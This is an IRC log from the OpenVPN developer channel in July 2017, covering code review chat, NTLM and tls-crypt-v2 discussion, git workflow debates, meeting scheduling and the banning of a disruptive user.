<@ordex> CRCinAU: that is what perl is good for :-P 08:40 <@plaisthos> ordex: things like print in perl without argument takes the default argument $_ 08:40 <@plaisthos> or something like that 08:40 <@ordex> hehe 08:41 < CRCinAU> foreach ( @array ) { print $_; } 08:41 < CRCinAU> whats so hard about that? 08:41 < CRCinAU> well, even: 08:41 < CRCinAU> foreach ( @array ) { print; } 08:41 <@plaisthos> you can rop the $_ iirc and then it becomes hard to read 08:42 <@plaisthos> especially if it is not print bug function; 08:42 <@plaisthos> you never know if has a parameter or not 08:43 <@ordex> :D 08:45 < CRCinAU> so you either get nothing (if $_ eq ""), or you get its value - just like: print $emptyvar 08:45 <@plaisthos> Seeing this keychain-mcd I am a) a bit sad that I did only a very rough code review and b) happy, that I told the submitter when the first version of the patch was out that this would be better suited in an external programm talking via management 08:45 <@syzzer> accepting something like $emptyvar is a bug in its own (one that python has too) 08:46 < CRCinAU> syzzer: this isn't a bug: my $emptyvar = ""; print $emptyvar; 08:47 < CRCinAU> however, if you didn't define $emptyvar anywhere, then with use strict; use warnings; perl would error out (as it should) 08:47 < CRCinAU> and people who don't enable strict / warnings should get a kick up the ass 08:48 < CRCinAU> anyhow - I've sent v4 to the list 08:48 < CRCinAU> I'm kinda happy to just include it as-is now 08:51 <@syzzer> CRCinAU: ah, then I have to admint that at this point perl wins from python 08:51 <@syzzer> but I'm still not going to learn perl :p 08:52 < CRCinAU> in fact, you can even run: perl -c <filename> 08:52 < CRCinAU> that will syntax check the entire script / libraries for problems 08:52 < CRCinAU> including usage of variables that are not defined. 08:53 < CRCinAU> my favourite fuckup I always get hit with: if ( ! defined( $hash{value} ) { blah blah blah } 08:53 < CRCinAU> ie I miss the second ) in the if statement ;) 09:17 <@ecrist> perl > python 09:24 < CRCinAU> ecrist++ ;) 09:25 < CRCinAU> I built my entire mirroring system in perl for my Xen packages 09:25 < CRCinAU> its 185 lines of code lol 09:26 < CRCinAU> it does geolocation, as well as mirror selection 09:27 <@plaisthos> CRCinAU: convince ecrist to review :) 09:28 < CRCinAU> man, if my code is good enough to touch core banking networks without review, I'm sure openvpn won't be a problem ;) 09:28 <@plaisthos> the keychain code was also good enough for Yandex 09:28 <@plaisthos> :) 09:28 <@plaisthos> d: 09:29 < CRCinAU> yeah - but mac ;) 09:29 < CRCinAU> hrrrm 09:29 < CRCinAU> .../330-ath9k-adjust-tx-power-reduction-for-US-regulatory-do.patch | 2 +- 09:29 < CRCinAU> sounds like a patch to skip...... 09:31 <@ordex> :P 09:32 <@ordex> should not hurt if you use a different regdomain 09:32 <@plaisthos> might be also more power 09:32 <@plaisthos> :) 09:32 <@plaisthos> depeding on how the reduction is adjusted 09:35 <@ordex> :D 09:39 < CRCinAU> wooooooo 09:39 < CRCinAU> I want: https://imgur.com/gallery/Pqu3eut 09:39 <@vpnHelper> Title: Clock - GIF on Imgur (at imgur.com) 09:43 <@ordex> oh I don't know if he is the same guy, but I have seen the same "artwork" in the Town Hall in Eindhoven (NL) 09:43 <@ordex> it was a smaller clock and the guy was staying there 09:43 <@ordex> :D 09:46 <@ordex> "what's your job?" "the clock hand." 09:47 < CRCinAU> wonder if I can find the video and run it on a Pi ;) 09:47 <@syzzer> yeah, I think this is a Dutch thing - the picture is at Schiphol (Amsterdam airport) 09:48 <@syzzer> ordex: I just force-pushed quite a number of small fixes to the -preview2 branch 09:48 <@ordex> syzzer: cool, thanks, I'll pull now 09:48 <@ordex> *hard-reset 09:49 <@syzzer> (and sent another preparing patch to the ml for review) 09:50 <@ordex> yup! 09:50 <@syzzer> this primarily adds a lot of tests 09:56 <@ordex> what kind of crap is NTLM 09:56 <@ordex> ? 09:56 <@ordex> within a buffer it sends 4 consecutive bytes and says "interpret it as long", but it doesn't say anything about endianess...how am I supposed to interpret that? 09:57 <@syzzer> ordex: do you mean the code or did you find some specification? 09:57 <@ordex> syzzer: the code was misleading, so I checked some spec 09:57 <@ordex> and it is the same 09:57 <@ordex> :D 09:57 <@ordex> maybe I should find the RFC 09:57 <@ordex> or some proper spec 09:57 <@syzzer> if it exists... 09:58 <@ordex> https://curl.haxx.se/rfc/ntlm.html#theNtlmMessageHeaderLayout 09:58 <@vpnHelper> Title: The NTLM Authentication Protocol and Security Support Provider (at curl.haxx.se) 10:00 < slypknot> If that picture is from Schipol then it is typically dutch .. making the travelers paraniod by all behaving weird .. cos of you know what ! 10:05 <@ordex> : 10:12 <@syzzer> dazo: can I trade your an ACK for write_pid() for applying https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg15014.html ? ;-) 10:12 <@vpnHelper> Title: [Openvpn-devel] [PATCH] tls-crypt: avoid warnings when --disable-crypto is used (at www.mail-archive.com) 10:12 * ordex votes for it! 10:16 <@dazo> syzzer: Sure! 10:21 <@syzzer> awesome! 10:21 <@dazo> syzzer: have you seen get_random() in misc.h? .... pondering on wtf to do with that one 10:22 <@syzzer> dazo: just leave the random bits for now 10:22 <@syzzer> I've been thinking about cleaning up our random API for now 10:22 <@dazo> ahh, then I'll let it be 10:22 <@syzzer> (and check out my tls-crypt-v2-preview2 branch on github, there are a bumber of misc.c cleanup patches in there 10:23 <@syzzer> would be a shame to do double work 10:23 <@dazo> I'm also thinking of moving all the exec() stuff into separate files .... and the same for the setenv stuff too 10:23 <@dazo> ahh! I'll have a peek there 10:23 <@syzzer> ^^ this, check out the branch 10:23 <@dazo> :) 10:23 <@ordex> cron2: do you really have a test setup for NTLM ? 10:23 <@ordex> cron2: or an idea how to build one ? 10:30 <@vpnHelper> RSS Update - gitrepo: tls-crypt: avoid warnings when --disable-crypto is used <https://github.com/OpenVPN/openvpn/commit/2dfbf62b6ace1eb39f1ae7126bc5530a541bed58> 10:30 <@ordex> yeeeha! 10:36 <@vpnHelper> RSS Update - gitrepo: cleanup: Move write_pid() to where it is being used <https://github.com/OpenVPN/openvpn/commit/c5b12817c9aa3ae97fbdd2c2a9a9ab605087dff1> 10:36 <@plaisthos> a user tells me that I should look at Official OpenVPN OpenSSL 1.1 implementation and that my implementation probably has bugs 10:36 <@plaisthos> *sigh* 10:37 <@ordex> plaisthos: did you ask to decrypt his request first? :P 10:38 <@dazo> lol 10:39 <@plaisthos> wants to use ecdsa 10:39 <@plaisthos> I am ignoring him now :) 10:40 <@plaisthos> after explaining that my code is official he still tells me that I must have done something wrong since official code works with and mine does not 10:40 <@plaisthos> he is completely missing that external-keys I told 2 times 10:41 * cron2 likes perl (just as a side note), *and* I have yubikeys, so I might get around to actually reviewing (and using!) this :-) 10:41 < CRCinAU> yay 10:42 < CRCinAU> I'm not just writing code for myself again ;) 10:42 <@plaisthos> I might later then write a TOTP python skript for sane people *duck* 10:42 < hiya> Sorry for off-topic, but why cannot we run a non-NAT TCP server? Why is a TCP server always a NAT, whereas with UDP, we can set a block of v4 in --server 10:43 <@plaisthos> hiya: that question makes no sense and NAT is indepenent of TCP/UDP 10:43 < hiya> plaisthos, so we can run a non-NAT server even with TCP? 10:43 < hiya> I see, I think they are fooling us 10:44 < hiya> :( 10:44 < hiya> Thanks 10:44 <@plaisthos> openvpn does not do NAT itself usually (ignoring clinat) 10:44 <@cron2> ordex: wrt NTLM and endianness - what do you expect from an OS that only runs in a single endianness? 10:44 <@plaisthos> cron2: apart that when ntlm was designed there was powerpc nt 10:44 * ordex is clueless about M$ 10:45 < hiya> server 10.10.0.0 255.255.255.0 10:45 <@cron2> plaisthos: powerPC and Alpha NT was never truly loved... 10:46 < hiya> we set the server like this ^ but we can use Public v4/v6 IP block as well, but a VPN provider said we cannot see it with TCP, so we have to have NAT with private subnet in TCP for v4 10:46 < hiya> I think they are fooling us. 10:46 <@dazo> hiya: last warning .... this is NOT a support channel 10:46 <@cron2> ordex: wrt to NTLM test setup - I have an apache @ work that auths against an windows AD, using NTML for the clients. So I have seen it work :-) - so I need to find time to set up something for openvpn devs to test against 10:47 <@cron2> hiya: they are. Transport (udp/tcp) and what's inside (public or NAT IPs, IPv4 or IPv6) are fully independent 10:47 <@cron2> if they do not grok that, find a different VPN provider 10:48 <@ordex> cron2: that'll be nice thanks 10:48 <@cron2> if you could find me a spare week somewhere...? :-) 10:48 < hiya> dazo, kindly unblock me in #openvpn? 10:48 < hiya> Please? 10:48 < CRCinAU> piss off kid. 10:49 < CRCinAU> I'm the only one that asks to be unbanned LOL 10:49 <@ordex> cron2: ehm .. 10:49 <@ordex> :P 10:49 < CRCinAU> I dunno - those who copy me these days LOL 10:49 <@cron2> today I learned that at my second largest customer, who is already 1 admin short of "what they would need", they are firing another admin... even more chaos, even more work for me :-( 10:49 <@dazo> hiya: I'll let ecrist decide that 10:49 <@cron2> /mode +b CRCinAU (is it time again?) 10:49 <@ordex> cron2: wah 10:49 <@cron2> indeed 10:49 < hiya> cron2, ok thanks! 10:50 < CRCinAU> cron2: sounds like my work..... 10:50 < hiya> dazo, so kind of you. 10:51 <@plaisthos> I am giving up on Chanserv 10:51 <@plaisthos> I cannot find the command to list bands 10:51 <@ordex> plaisthos: just /ban in the channel and you see the active ones 10:52 <@plaisthos> ordex: yeah that does not have the info who set them 10:52 < CRCinAU> plaisthos: you need to go to Spotify to list bans... 10:52 <@plaisthos> I rememeber there was a chanserv command to show that 10:52 < CRCinAU> errr bands 10:52 < CRCinAU> FUCK IT 10:52 < CRCinAU> I was making a joke and I screwed it up. 10:52 <@ordex> ah ok 10:52 < CRCinAU> plaisthos: you need to go to Spotify to list bands... 10:52 <@plaisthos> CRCinAU: nah, I use Google Music 10:53 < CRCinAU> there's ya problem ;) LOL 10:53 <@dazo> plaisthos: /msg chanserv akick #... list 10:55 <@plaisthos> ah thanks 11:02 <@plaisthos> We do not allow root users in IRC|retards 11:02 <@plaisthos> I assume before | is public and after | is only for chan admin :D 11:03 <@dazo> that's right 11:04 <@dazo> so mattock is alive! 11:05 <@plaisthos> a random release appears! 11:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 11:14 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:17 <@dazo> darn .... syzzer have actually done all I was pondering on doing in regards to misc.[ch] cleanup ..... :-P 11:20 <@dazo> syzzer: not sure we want to just shift lots of stuff just from misc.[ch] to platform.[ch] though .... the idea behind platform.[ch] was to just have wrapper functions there, for most common OS functions where the behaviour/API was not identical across platforms 11:21 <@dazo> Just concerned we'll end up with platform.[ch] as the new misc.[ch] 11:23 <@dazo> For example, test_file() and absolute_pathname() are reasonable platform related functions (but could benefit from a more standardized function names) .... but I'm less convinced about create_temp_file() and gen_path() 11:25 <@dazo> the openvpn_{popen,execve*,run_script} are also candidates for a separate file, related to code execution ... (exec.[ch] ?) 11:28 <@dazo> otherwise, this cleanup looks really good! 13:00 <@ecrist> who needs +b? 13:02 <@ecrist> oh, hiya 13:02 <@ecrist> :/ 13:09 < hiya> ecrist, I did not need +b, I want -b 13:12 <@plaisthos> If I remember correct last time you gave wrong advise to people, tried to sell configs for money and generally had a bad aptitude including encouring to use illegal source for the OpenVPN book. And on top of that you did not listen to advice given to you. I think you need to be more conving than "I want -b" to have us reconsider 13:17 < hiya> I help a lot of people fix OpenVPN servers and TLS security stuff with any kinda servers they run 13:18 < hiya> I have been doing it since many months now. 13:18 < hiya> I have my own chan, people donate me VPS to run services even 13:18 < hiya> I favour self-hosting services, then motivate peopel to run their own ovpn instances, and I helped many deploy secure servers with latest --tls-crypt even 13:19 < hiya> I was learning back in the days and still am, I know I ask a lot of questions, but you can take my test in configurations if you want to, before you admit me? 13:20 <@ecrist> No unban from me. 13:22 * ecrist reviewed channel history. https://secure-computing.net/logs/openvpn2016.log admission of book pirating on line 14662, other behavior thereabouts. 13:30 <@ecrist> to reiterate, I won't unban hiya, and am considering a ban here 13:31 < hiya> ecrist, ok then ban me. 13:31 < hiya> :( 13:31 < hiya> If this is the fate of one who helps 13:44 -!- mode/#openvpn-devel [+b hiya!*@*] by ecrist 13:44 <@ecrist> https://secure-computing.net/logs/hiya.log 13:44 <@ecrist> </rant> 14:37 * slypknot seconds that 14:40 <@ecrist> "He that is without sin..." 14:40 <@ecrist> :P 14:47 * slypknot is as guilty as sin ; 14:47 < slypknot> but i got this glass house and a stone .. temptation ! 14:48 < slypknot> glass house called windows .. 14:50 * slypknot "quoths the Raven" Mode #openvpn [+b slypknot!*@*] by ecrist 14:51 <@ecrist> mode + b ::1 14:57 * slypknot has a copy of openvpn cookbook in his pants and is ready for +b 14:58 < slypknot> the backside .. of course 16:07 <@dazo> any Germans around here? booking flights for the hackathon, and see that Lufthansa have a possibility for Rail&Fly ticket ... seems reasonably priced ... but are there some pitfalls? Can it be used for the travel from Frankfurt to Karlsruhe? 18:14 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 18:20 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:20 -!- mode/#openvpn-devel [+o dazo] by ChanServ 19:31 <@ordex> morning ! 20:21 < CRCinAU> there's an openvpn book? o_O 20:22 <@ordex> CRCinAU: more than one 20:22 <@ordex> !book 20:22 <@vpnHelper> "book" is (#1) http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!, or (#2) Jan and Eric's Mastering OpenVPN: https://www.packtpub.com/networking-and-servers/mastering-openvpn, or (#3) Troubleshooting OpenVPN (April, 2017) by Eric Crist at https://www.packtpub.com/networking-and-servers/troubleshooting-openvpn 20:22 <@ordex> the latest has been published quite recently as you can see 20:24 < CRCinAU> well, shit. 20:24 <@ordex> CRCinAU: why? wanted to write one? 20:24 <@ordex> :D 20:25 < CRCinAU> I'm sure that was #1 on my mind when I woke up today 20:26 < CRCinAU> dammit. I need my yubikey, but that means getting out of bed..... 20:26 < CRCinAU> work from home days = win. 20:26 < CRCinAU> means laptop in bed with a cat purring next to me. 20:31 <@ordex> CRCinAU: mah, not sure you'd like it if it was every day like that 20:36 < CRCinAU> rather than travel 75 minutes a day each way to the office? :) 20:37 < CRCinAU> nothing better than gaining ~150 minutes a day back in your life :) 20:38 <@ordex> hehe 20:38 <@ordex> that's another problem :P 20:38 <@ordex> do you live far away from the CBD ? 20:44 < CRCinAU> about an hour 20:44 < CRCinAU> its 1h 15m from my place by car to the office 20:48 <@ordex> I see 20:51 < CRCinAU> so yeah, I kinda prefer working from home :P 22:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:12 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Jul 26 2017 01:47 <@cron2> dazo: I'd say so... Frankfurt->Karlsruhe is some ~1h train ride 06:21 <@dazo> CRCinAU: Eric mentioned in !book is ecrist on this channel ... JJK (Jan Just Keijser) mostly appears on the ML from time to time ... so hardcore community members been involved in those books :) 06:42 <@dazo> Sounds a bit too good to be true .... but I'm no quantum expert .... http://www.chinadaily.com.cn/china/2017-07/11/content_30065215.htm ... 06:42 <@vpnHelper> Title: Quantum tech to link Jinan governments - China - Chinadaily.com.cn (at www.chinadaily.com.cn) 06:45 <@dazo> especially the paragraph regarding quantum satellite communication sounds quite amazing - I wasn't aware it was possible to use photons for communication over such distances 06:45 <@syzzer> nah, quantum key distribution is probably going to die within the coming decade. It sounds cool, but has no real-world advantages over post-quantum algorithms 06:45 <@ordex> I wouldn't trust what chinese authorities say :P 06:47 <@syzzer> https://sidechannels.cr.yp.to/qkd/holographic-20160326.pdf 06:47 <@syzzer> as always, Bernstein has already written a paper to explain why :-P 06:47 <@dazo> ordex: :) ... my thought too 06:49 <@ordex> :) 06:49 <@dazo> syzzer: the aspect I find interesting (as a n00b layperson) with QKD is that it claims it is possible to detect if the communication have been eavesdropped 06:49 <@dazo> ordex: but ... Chinese authorities are more trustworthy than the North-Korean though ... 06:50 <@ordex> mah 06:50 <@dazo> syzzer: you're a library of the most amazing papers ..... 06:50 <@ordex> they are very similar :P 06:50 <@dazo> heh :) 06:51 <@ordex> dazo: syzzer: about tls-crypt-v2 what do we want to do? we should fix a date and everybody tries to come up with an idea of how to compress everything in one option? 06:51 <@ordex> or does anybody already have an ideA? 06:51 <@syzzer> dazo: I totally agree that the quantum stuff is interesting - I just don't see why "knowing someone has been eavesdropping" would be any better than "don't have to care about eaverdroppers, because it's encrypted anyway" 06:52 <@syzzer> ordex: I'm actually opposed to compressing it into one option, I don't think it makes it any easier to understand 06:52 <@syzzer> but yeah, we need to decide how to decide what to do :p 06:53 <@syzzer> maybe just plan a meeting/ 06:53 <@dazo> syzzer: that's a reasonable argument. But it can be interesting to know /when/ you're on someone's radar ... if no-one is known to be listening, you know you should worry more about the other communication channels or software modules involved in the data processing 06:54 <@syzzer> dazo: okay, I can see why that could be useful :) 06:54 <@ordex> :P 06:55 <@syzzer> (but if they know you will detect it, why would they bother?) 06:55 <@ordex> syzzer: agreed about v2, deciding to decide seems what we need 06:55 <@ordex> :D 06:56 <@dazo> A meeting would be good ... I'm travelling for a couple of days, and will work more offline in the coming days ... I'll set aside some time to test the patches towards end of next week, so some time during the following week would be ideal to me 06:56 <@ordex> I will be travelling during august, but I should be free to schedule a meeting at any time 06:57 <@ordex> just won't be 'always-on', in case somebody cares :D 06:58 <@dazo> syzzer: [qkd] well, that would be the chilling effect of the technology ... which reduces the probable attack surface 06:59 <@syzzer> dazo: but that only holds for the key exchange - any actual data transfer is 'just' AES and can be eavesdropped at will 07:00 <@dazo> oh, true 07:00 <@syzzer> ordex, dazo: what time would you prefer for the meeting 07:00 <@plaisthos> pkcs11-helper stuff could be so easy if Alon was reasonable :/ 07:01 <@ordex> plaisthos: who is he ? 07:01 <@ordex> the maintainer ? 07:01 <@ordex> syzzer: potentially your morning is better for me 07:01 <@cron2> dazo: next week would work for me, 4 weeks after that not so well 07:01 <@syzzer> you are at +9, right? 07:01 <@ordex> but up until your afternoon is good too 07:01 <@ordex> utc+8 now 07:02 <@ordex> next week will be utc+10 07:02 <@ordex> consider that up to 4pm CEST it should be fine for me 07:03 <@ordex> your evening is a bit .. tricky :D but could try that too 07:04 <@syzzer> during daytime works for me too, but not sure about dazo and/or cron2 07:05 <@dazo> ordex: Alon Bar-Lev ... quite a strong personality, core developer of pkcs11-helper ... and have quite some traces in our git history as well .... extremely pedantic person, spots details and is quite harsh to those arguing against him ... but at the same time, incredibly bright and clever .... I do respect that guy, but in some odd way 07:05 <@syzzer> tls-crypt-v2 is (partly) payed-for by our customer, so I can do this during office hours 07:05 <@dazo> and when Alon says "it isn't so" ... then that's the law. 07:05 <@dazo> (to him) 07:06 <@ordex> :D 07:07 <@dazo> the thing with pkcs11-helper is that it isn't quite compatible to both some POSIX aspects, but also some RFCs .... but he have chosen to interpret those requirements differently, which makes PKCS#11 operations fail in some cases 07:26 * ordex hides for a bit 08:08 <@cron2> Alon is brilliant, but totally unable to accept that other developers might come to a different conclusion when facing a decision 08:08 <@cron2> if he decides "A is the right answer", there is no way to convince him that there might be good reasons to choose "B", ever 10:17 <@dazo> note to self: Don't try to restart the D-Bus daemon from the command line ... _reload_ is the what should be used 10:18 <@ordex> cron2: hehe, not the best attitude for an open source project/community I would say 10:18 <@ordex> at least that's my personal opinion 10:18 <@ordex> dazo: lol everything imploded? 10:18 <@dazo> basically ... and quite quickly too 10:18 < Thermi> insane error handling. :-) 10:20 <@dazo> heh ... I would expect a bit nicer behaviour, yes ... trying to sleep for a second and reconnect to the D-Bus ... but yeah, I got kicked out from the GNOME Shell instantly, login didn't work, network config in an unknown state 10:21 <@dazo> on the other hand ... ripping out the complete communication channel for quite some processes (50?) and not expecting trouble is also quite daring :) 10:28 <@ordex> dazo: how did it resolve? 10:28 <@ordex> reboot? or did it eventually come back to a working state 10:28 <@dazo> three-finger-salute worked :) 10:28 <@ordex> lol 10:28 <@dazo> I didn't have patience to wait to see what happened :) 10:29 <@dazo> gotta love the strictness in D-Bus though .... 10:29 <@dazo> table '/usr/local/openvpn-dev/sbin/openvpn3-service-configmgr' doesn't belong to any package and ProcessUnpackaged is set to 'no' 10:30 <@dazo> oh wait ... that was abrt daemon :/ 10:45 <@ordex> for the meeting we haven't decided anything yet ? 10:45 <@ordex> could we do it this week ? 10:46 <@cron2> won't work for me 10:46 <@cron2> tomorrow is a customer event (= on-site from 9am to 10pm), friday is last day of the school year, today is "get work done" 10:47 <@dazo> \o/ ... the openvpn3 pieces starts to play really nicely together 10:48 <@dazo> ordex: no chance for a meeting this week for me neither 10:48 <@ordex> oh ok 11:11 <@ordex> dazo: cron2: would monday afternoon work for you 11:11 <@cron2> afternoon = work time 11:12 <@cron2> (plus "get kids from kindergarten"), so that's about the worst - if I skip going to work, I can make "morning-ish" 11:16 <@ordex> cron2: for you the best would be after work? around 7 or 8pm ? 11:59 <@dazo> I'm out on the road until Wed morning (CEST) 12:00 <@dazo> I can probably make something possible on Monday, but network connectivity might be so-so 12:00 <@dazo> (I'll know for sure by tomorrow evening :-P) 12:04 <@ordex> haha ok, then let's put this after wednesday at this point 12:06 <@cron2> ordex: yep, 8pm is "kids in bed, 2h freedom" 12:06 <@ordex> :D 12:06 <@ordex> hehe 12:07 <@ordex> that will be 6am for me next week. I can do it ! 12:07 <@cron2> ouch 12:09 <@ordex> np :) I can do it once in a while, but not every week :-P 12:09 <@ordex> and now, bed time! bye! 13:24 <@vpnHelper> RSS Update - tickets: #921: openvpn connect android BUG <https://community.openvpn.net/openvpn/ticket/921> 13:41 < slypknot> google have decided to fuck with my anti-spam in order to get me to log in again 15:11 < slypknot> after *how* many years .. google decide that email from buildbot@build.openvpn.net are now suddenly spam .. 15:22 < slypknot> and yet the same account get forged email from @santander.com ( a bank i don't even have an account with ) from google 15:22 < slypknot> what a bunch of arse holes 15:28 < slypknot> is it possible to turn --float *off* on a --server ? 15:59 <@cron2> no 16:00 <@cron2> (use 2.2 clients that do not support peer-id :) ) 16:02 < slypknot> cron2: is --client-connect triggered for float ? (sorry i don't have a way to test that) 16:25 < slypknot> use 2.2 clients .. yeah right ! 16:28 < slypknot> floating does *not* trigger --client-connect .. 16:37 < slypknot> well that's a right spanner in the works (ipchange + mode server) 18:36 <@plaisthos> slypknot: you can patch server not to send peer-id 20:20 <@ordex> morning 20:49 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 21:21 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 276 seconds] 21:27 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 21:27 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Thu Jul 27 2017 02:22 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:22 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 02:22 <@cron2_> http://blog.exodusintel.com/2017/07/26/broadpwn/ 02:22 <@cron2_> eek! 03:51 -!- cron2_ is now known as cron2 03:53 <@cron2> someone here who can explain "git merge" to me, as in "we never do it in openvpn, and I'm slighly confused" 04:15 < Thermi> cron2: "apply the delta of the commits of the two branches onto this branch" 04:15 < Thermi> Commits are just sets of changes. It's what git tracks. So a merge just searches for the changes between the branches and applies them on top of this one 04:17 < Thermi> If two commits change conflicting lines of a file, a merge conflict is reported and needs to be resolved manually. You essentially have to decide which changes to apply (or a mixture of them. It's free form.) 04:36 * cron2 wonders about history, git log, etc. 04:37 <@cron2> so ideally what I'd like to have is not "the sum of all changes in the other branch" but "all the individual commits, with their own message" - and from what I read this is not what I get, right? 04:37 <@cron2> (conflicts are fully understodo) 04:42 < Thermi> This is what you get. However, when you have a merge conflict, an additional commit is created, that resolves those conflicts. 04:42 < Thermi> (That's the merge commit then) 04:48 <@cron2> so it *does* have all the commits in the main branch? That would be fine, then... 04:49 < Thermi> Yes 04:49 <@cron2> ("the individual commits", not just the sum) 04:49 <@cron2> if my questions are not clear, the answers might not match my thoughts :) 04:50 < Thermi> cron2: Take a look at the git historys of the branches dev, dev-prepare-merge and master in this repo: https://github.com/Thermi/nfqueue-go/commits/dev-prepare-merge 04:50 <@vpnHelper> Title: Commits · Thermi/nfqueue-go · GitHub (at github.com) 04:50 < Thermi> I do a lot of branching and merging. :) 04:57 <@cron2> I think I'll need to do a test repo and just look at what I did and how it broke things :) 04:57 <@cron2> but thanks :) 04:57 < Thermi> Sure. :) 05:19 <@ordex> cron2: I suggest you to try with some test repo having different histories and then see the result 05:19 <@ordex> what you have to keep in mind is that after a merge, the history might not be linear anymore 05:20 <@ordex> still in git log you will see some kind of commits sequence, but it does 100% matches reality because git log can't show the non-linearity of course 05:21 <@ordex> cron2: however the result isnot always the same but depends on the history of the branches you are merging 05:46 <@syzzer> cron2: yeah, broadpwn is really scary 05:46 <@syzzer> haven't seen this write-up before, looks worth reading in detail 05:48 <@syzzer> (and re git merge, just stay in your happy place, ignoring it's existence :p ) 05:48 <@ordex> nuooo 05:48 <@ordex> :D 06:16 <@cron2> syzzer: well, there's "feature branches that need to get merged back" - what we do today is "just send out all the patches to the list, and then do git am on them", merge-by-mail :-) - but trying to understand what alternatives exist 06:19 <@ordex> cron2: we 06:19 <@ordex> ops sorry 06:19 <@ordex> cron2: we could also allocate a bit of time during the hackthon di discuss this topic. i think all together with a whiteboard is easier 06:21 <@ordex> cron2: btw one option is very similar to what github proposes, which is by means of pull requests. basically another branch that gets merged into master (or whatever). if the proposer is not lazy and keeps the branch based on an up-to-date master, the result is exactly the same as doing git am on each patch 06:21 * ordex is in love with git :P 06:22 * syzzer hates non-lineair history 06:23 <@ordex> well, if you force contriutors to always rebase their branches before having them merged, then the history stays linear 06:23 <@ordex> *contributors 06:24 <@ordex> but why do you hate it ? 06:24 <@ordex> well, it makes bisecting a bit less trivial sometimes. but usually it's ok 06:28 <@syzzer> ik makes it harder to understand what happened, by adding unneeded complexity to the history 06:30 <@ordex> yeah, especially when changes from different branches work on the same piece of code - this will mess up things with lots of conflicts each time 06:30 <@ordex> it depends on the workflow too 06:33 <@syzzer> the other thing is that people typically don't clean up the commits in their branches before merging, only caring about a working merge commit. That increases the amount of history cluttering. Especially for security products, I claim that transparency and clarity is important. So the history should be easily reviewable. 06:35 <@ordex> yeah 06:35 <@ordex> but non-linear does not mean not easy to review 06:36 <@ordex> it's again about how things are organized. for example the kernel is divided in several sub-trees with each tree taking its patches and merging the tree perodically. that works very well because trees are independt and the history is quite clear 06:36 <@syzzer> patches-via-mailinglist helps in the sense that patches are somewhat forced to be independent and individually clear 06:36 <@ordex> well, you can do a pull request with all patches sent to the mailing list as well 06:36 <@ordex> this is common too 06:37 <@ordex> so you can review on the ml and then merge the branch when it's ok 06:37 <@syzzer> still clutters my history with merge commits, and why would we *add* github to the workflow - it doesn't improve anything 06:38 <@ordex> merge commits appears only when branches are not rebased 06:38 <@ordex> if they are, you see nothing - it is fast-forward merge 06:38 <@ordex> basically like doing: git am *.patch 06:38 <@ordex> nothing different 06:38 <@ordex> just different command :P 06:39 <@syzzer> exactly, so why do that then? we already have a working process in place, *and* we are not dependent on github 06:39 <@ordex> ah, I don't know *why* we would need to do that 06:39 <@syzzer> if we were to add tooling, we should take something like gerrit. much better workflow 06:40 <@ordex> and we don't need to be dependant on github, branches to merge can be hosted anywhere 06:40 <@ordex> honestly, with the small volume we have, we cna stick to the current process imho 06:40 <@ordex> maybe just add patchwork to keep track of what we have on the plate 06:40 <@ordex> but that would be all, imho 06:41 <@syzzer> yeah, I think so too. It has a bit of a learning curve, but that seems to function just fine as a first-pass crap filter :-p 06:42 <@ordex> lol 06:42 <@ordex> well, consider that even much bigger projects use the commit-patches-from-mail as very first step 06:43 <@ordex> it offers the possibility to review to a much broader audience 06:43 <@ordex> unless somebody starts his own fork...and every now and then we want to pull his experiemntal changes....then a pull request might work. but yeah, that's another topic 08:24 <@plaisthos> ordex: also you need to review the patch *and* the merge for security 08:31 < CRCinAU> ok - something is really screwed with swap in kernel 4.11 08:31 <@ordex> plaisthos: phew yeah 08:31 < CRCinAU> says the guy trying to play a game, load chrome and ends up with a non-responsive system and a 70+ load average 08:33 <@ordex> CRCinAU: why do you think it is the kernel ? 08:37 < CRCinAU> cos I used to swap out up to ~2Gb on a regular basis before without the system going unresponsive 08:37 < CRCinAU> 4.11 brought 'optimisations' to swap - especially on SSD 08:38 < CRCinAU> I think I'll have to find the latest 4.10 kernel in Fedora 26 and see if I can reproduce with that.... 08:38 < CRCinAU> so far, I've tried with both a laptop HDD as a swap space, and my SSD as a swap space 08:38 < CRCinAU> both seem to die in a fire 08:39 < CRCinAU> just trying again with zswap enabled to see if it makes any difference 08:39 < CRCinAU> or if it still dies for several minutes at a time (ie not even mouse movement) 08:55 < CRCinAU> *sigh* 08:56 < CRCinAU> 23:53:50 up 1:03, 4 users, load average: 54.11, 50.94, 37.50 08:56 < CRCinAU> it was 90+ before I killed the game via ssh lol 08:59 <@ordex> CRCinAU: top does not suggest who is using all that cpu ? 09:00 < CRCinAU> its all in %wa 09:00 < CRCinAU> imho, it seems to be waiting on swap 09:01 <@ordex> "waiting" ? 09:01 <@ordex> mh 09:01 <@ordex> weird 09:41 < CRCinAU> urgh 09:41 * CRCinAU spanks RedHat: https://bugzilla.redhat.com/show_bug.cgi?id=1329210#c23 09:41 <@vpnHelper> Title: Bug 1329210 dhclient fails to assemble DUID while requesting IPv6 prefix delegation using PPP device (at bugzilla.redhat.com) 14:37 < slypknot> Howto: Confuse Windows .. Use WiFi & ethernet at the same time! 15:31 < slypknot> dazo: you have a eurephia client on the forum : https://forums.openvpn.net/viewtopic.php?f=6&t=24579 15:31 <@vpnHelper> Title: Debian Bigmem Server/Client setup problems - OpenVPN Support Forum (at forums.openvpn.net) 17:43 -!- vpnHelper 